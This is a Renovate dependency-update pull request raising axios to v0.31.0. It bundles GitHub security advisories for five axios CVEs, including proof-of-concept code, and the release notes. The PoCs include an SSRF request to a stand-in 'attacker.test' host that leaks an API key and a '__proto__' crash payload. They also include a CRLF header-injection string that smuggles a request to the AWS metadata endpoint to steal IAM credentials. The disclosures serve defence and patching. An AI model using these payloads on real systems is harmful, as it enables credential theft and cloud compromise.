fix(deps): update dependency axios to v0.31.0 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	0.27.2 → 0.31.0
axios (source)	^0.24.0 → ^0.31.0

---

Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

• CVSS Score: 6.5 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

• https://nvd.nist.gov/vuln/detail/CVE-2023-45857
• https://github.com/axios/axios/issues/6006
• https://github.com/axios/axios/issues/6022
• https://github.com/axios/axios/pull/6028
• https://github.com/axios/axios/commit/96ee232bd3ee4de2e657333d4d2191cd389e14d0
• https://github.com/axios/axios/releases/tag/v1.6.0
• https://security.snyk.io/vuln/SNYK-JS-AXIOS-6032459
• https://github.com/axios/axios/pull/6091
• https://github.com/axios/axios/commit/2755df562b9c194fba6d8b609a383443f6a6e967
• https://github.com/axios/axios/releases/tag/v0.28.0
• https://security.netapp.com/advisory/ntap-20240621-0006
• https://github.com/advisories/GHSA-wf5p-g6vw-rhxx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

CVE-2025-27152 / GHSA-jr5f-v2jv-69x6

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

• CVSS Score: 7.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/axios/axios/security/advisories/GHSA-jr5f-v2jv-69x6
• https://github.com/axios/axios/issues/6463
• https://github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f
• https://github.com/axios/axios/releases/tag/v1.8.2
• https://nvd.nist.gov/vuln/detail/CVE-2025-27152
• https://github.com/axios/axios/pull/6829
• https://github.com/axios/axios/commit/02c3c69ced0f8fd86407c23203835892313d7fde
• https://github.com/advisories/GHSA-jr5f-v2jv-69x6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

1. JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
2. Object.keys() includes '__proto__' in the iteration
3. mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
4. The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
5. Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

• Axios._request() at lib/core/Axios.js:75
• Axios.getUri() at lib/core/Axios.js:201
• All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

1. Clone axios repository or npm install axios
2. Create file poc.mjs with the code above
3. Run: node poc.mjs
4. Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	{"timeout": 5000}	SUCCESS
Malicious config	JSON.parse('{"__proto__": {"x": 1}}')	CRASH
Nested object	{"headers": {"X-Test": "value"}}	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

• Node.js servers using axios for HTTP requests
• Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/axios/axios/security/advisories/GHSA-43fc-jf86-j433
• https://github.com/axios/axios/pull/7369
• https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57
• https://github.com/axios/axios/releases/tag/v1.13.5
• https://nvd.nist.gov/vuln/detail/CVE-2026-25639
• https://github.com/axios/axios/pull/7388
• https://github.com/axios/axios/commit/d7ff1409c68168d3057fc3891f911b2b92616f9e
• https://github.com/axios/axios/releases/tag/v0.30.3
• https://github.com/advisories/GHSA-43fc-jf86-j433

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings'); 

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

• Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
• Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
• Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

• OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

• CVSS Score: 4.8 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx
• https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-40175
• https://github.com/axios/axios/pull/10660
• https://github.com/axios/axios/pull/10660#issuecomment-4224168081
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-fvcv-3m26-pcqx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

---

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

---

Impact

• Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.

• Attackers controlling request URLs can:

  • Force Axios to send local traffic through an attacker-controlled proxy.
  • Bypass SSRF mitigations relying on NO_PROXY rules.
  • Potentially exfiltrate sensitive responses from internal services via the proxy.

---

Affected Versions

• Confirmed on Axios 1.12.2 (latest at time of testing).
• affects all versions that rely on Axios’ current NO_PROXY evaluation.

---

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

• Strip trailing dots from hostnames (per RFC 3986).
• Normalize IPv6 literals by removing brackets for matching.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5
• https://nvd.nist.gov/vuln/detail/CVE-2025-62718
• https://github.com/axios/axios/pull/10661
• https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df
• https://datatracker.ietf.org/doc/html/rfc1034#section-3.1
• https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2
• https://github.com/axios/axios/releases/tag/v1.15.0
• https://github.com/axios/axios/pull/10688
• https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c
• https://github.com/axios/axios/releases/tag/v0.31.0
• https://github.com/advisories/GHSA-3p68-rc4w-qgx5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

axios/axios (axios)

v0.31.0

Compare Source

This release backports security fixes from v1.x, hardens the CI/CD supply chain with OIDC publishing and zizmor scanning, resolves TypeScript typing issues in AxiosInstance, and fixes a performance regression in isEmptyObject().

🔒 Security Fixes

• Header Injection & Proxy Bypass: Backports v1 security hardening — sanitizes outgoing header values to strip invalid bytes, CRLF sequences, and boundary whitespace (including array values); adds proper NO_PROXY/no_proxy enforcement covering wildcards, explicit ports, loopback aliases (localhost, 127.0.0.1, ::1), bracketed IPv6, and trailing-dot hostnames. Proxy bypass is now checked before the proxy URL is parsed, and parsed.host is used for correct port and IPv6 handling. (#​10688)

• CI Security: SHA-pins all actions and disables credential persistence in v0.x CI, introduces zizmor security scanning with SARIF upload to code scanning, adds an OIDC Trusted Publishing workflow with npm provenance attestations, and gates all publishes behind a required npm-publish GitHub Environment with configurable reviewer protections. (#​10638, #​10639, #​10667)

🐛 Bug Fixes

• TypeScript — AxiosInstance Return Types: Fixes return types in AxiosInstance methods to correctly resolve to Promise<R> (matching AxiosPromise<T> semantics), and corrects the generic call signature so TypeScript properly enforces the response data type. TypeScript-only changes; no runtime impact. (#​6253, #​7328)

• Performance: Fixes a performance regression in isEmptyObject() that caused excessive computation when the argument was a large string. (#​6484)

🔧 Maintenance & Chores

• Versioning & CI Workflow: Adds an automated versioning flow for v0.x, renames the CI workflow for consistency with the v1.x naming convention, and corrects the branch name reference in CI config. (#​10690, #​10691, #​10692)

🌟 New Contributors

We are thrilled to welcome our new contributors. Thank you for helping improve axios:

• @​nakataki17 (#​6253)
• @​gmasclet (#​6484)
• @​shaanmajid (#​10638, #​10639, #​10667)
• @​ivan-churakov (#​7328)

Full Changelog

v0.30.3: Release notes - v0.30.3

Compare Source

This is a critical security maintenance release for the v0.x branch. It addresses a high-priority vulnerability involving prototype pollution that could lead to a Denial of Service (DoS).

Recommendation: All users currently on the 0.x release line should upgrade to this version immediately to ensure environment stability.

🛡️ Security Fixes

• Backport: Fix DoS via proto key in merge config
  • Patched a vulnerability where specifically crafted configuration objects using the proto key could cause a Denial of Service during the merge process. - by @​FeBe95 in PR #​7388

⚙️ Maintenance & CI

• CI Infrastructure Update
  • Updated Continuous Integration workflows for the v0.x branch to maintain long-term support and build reliability. - by @​jasonsaayman in PR #​7407

⚠️ Breaking Changes

Configuration Merging Behavior:

As part of the security fix, Axios now restricts the merging of the proto key within configuration objects. If your codebase relies on unconventional deep-merging patterns that target the object prototype via Axios config, those operations will now be blocked. This is a necessary change to prevent prototype pollution.

Full Changelog: v0.30.2...v0.30.3

v0.30.2

Compare Source

What's Changed

• Backport maxContentLength vulnerability fix to v0.x by @​FeBe95 in #​7034

New Contributors

• @​FeBe95 made their first contribution in #​7034

Full Changelog: axios/axios@v0.30.1...v0.30.2

v0.30.1

Compare Source

Release notes:

Bug Fixes

• chore(deps): bump form-data from 4.0.0 to 4.0.4 for v0.x by @​wolandec in #​6978

Contributors to this release

• @​wolandec made their first contribution in #​6978

Full Changelog: axios/axios@v0.30.0...v0.30.1

v0.30.0

Compare Source

Release notes:

Bug Fixes

• fix: modify log while request is aborted by @​mori5321 in #​4917
• fix: update CHANGELOG.md for v0.x by @​TehZarathustra in #​6271
• fix: modify upgrade guide for 0.28.1's breaking change by @​nafeger in #​6787
• fix: backport allowAbsoluteUrls vulnerability fix to v0.x by @​thatguyinabeanie in #​6829
• fix: add allowAbsoluteUrls type by @​thatguyinabeanie in #​6849

Contributors to this release

• @​mori5321 made their first contribution in #​4917
• @​TehZarathustra made their first contribution in #​6271
• @​nafeger made their first contribution in #​6787
• @​thatguyinabeanie made their first contribution in #​6829

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes

• fix(backport): backport security fixes in commits #​6167 and #​6163 to v0.x by @​Sean-Powell in #​6402
• fix: omit nulls in params by @​Willshaw in #​6394
• fix(backport): fix paramsSerializer function validation by @​solonzhu in #​6361
• fix: Regular Expression Denial of Service (ReDoS) by @​qiongshusheng in #​6708

Contributors to this release

• @​Sean-Powell made their first contribution in #​6402
• @​Willshaw made their first contribution in #​6394
• @​solonzhu made their first contribution in #​6361
• @​qiongshusheng made their first contribution in #​6708

v0.28.1

Compare Source

Release notes:

Release notes:

Bug Fixes

• fix(backport): custom params serializer support (#​6263)
• fix(backport): uncaught ReferenceError req is not defined (#​6307)

v0.28.0

Compare Source

Release notes:

Bug Fixes

• fix(security): fixed CVE-2023-45857 by backporting withXSRFToken option to v0.x (#​6091)

Backports from v1.x:

• Allow null indexes on formSerializer and paramsSerializer v0.x (#​4961)
• Fixing content-type header repeated #​4745
• Fixed timeout error message for HTTP 4738
• Added axios.formToJSON method (#​4735)
• URL params serializer (#​4734)
• Fixed toFormData Blob issue on node>v17 #​4728
• Adding types for progress event callbacks #​4675
• Fixed max body length defaults #​4731
• Added data URL support for node.js (#​4725)
• Added isCancel type assert (#​4293)
• Added the ability for the url-encoded-form serializer to respect the formSerializer config (#​4721)
• Add string[] to AxiosRequestHeaders type (#​4322)
• Allow type definition for axios instance methods (#​4224)
• Fixed AxiosError stack capturing; (#​4718)
• Fixed AxiosError status code type; (#​4717)
• Adding Canceler parameters config and request (#​4711)
• fix(types): allow to specify partial default headers for instance creation (#​4185)
• Added blob to the list of protocols supported by the browser (#​4678)
• Fixing Z_BUF_ERROR when no content (#​4701)
• Fixed race condition on immediate requests cancellation (#​4261)
• Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance #​4248
• Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#​4229)
• Fix TS definition for AxiosRequestTransformer (#​4201)
• Use type alias instead of interface for AxiosPromise (#​4505)
• Include request and config when creating a CanceledError instance (#​4659)
• Added generic TS types for the exposed toFormData helper (#​4668)
• Optimized the code that checks cancellation (#​4587)
• Replaced webpack with rollup (#​4596)
• Added stack trace to AxiosError (#​4624)
• Updated AxiosError.config to be optional in the type definition (#​4665)
• Removed incorrect argument for NetworkError constructor (#​4656)

---

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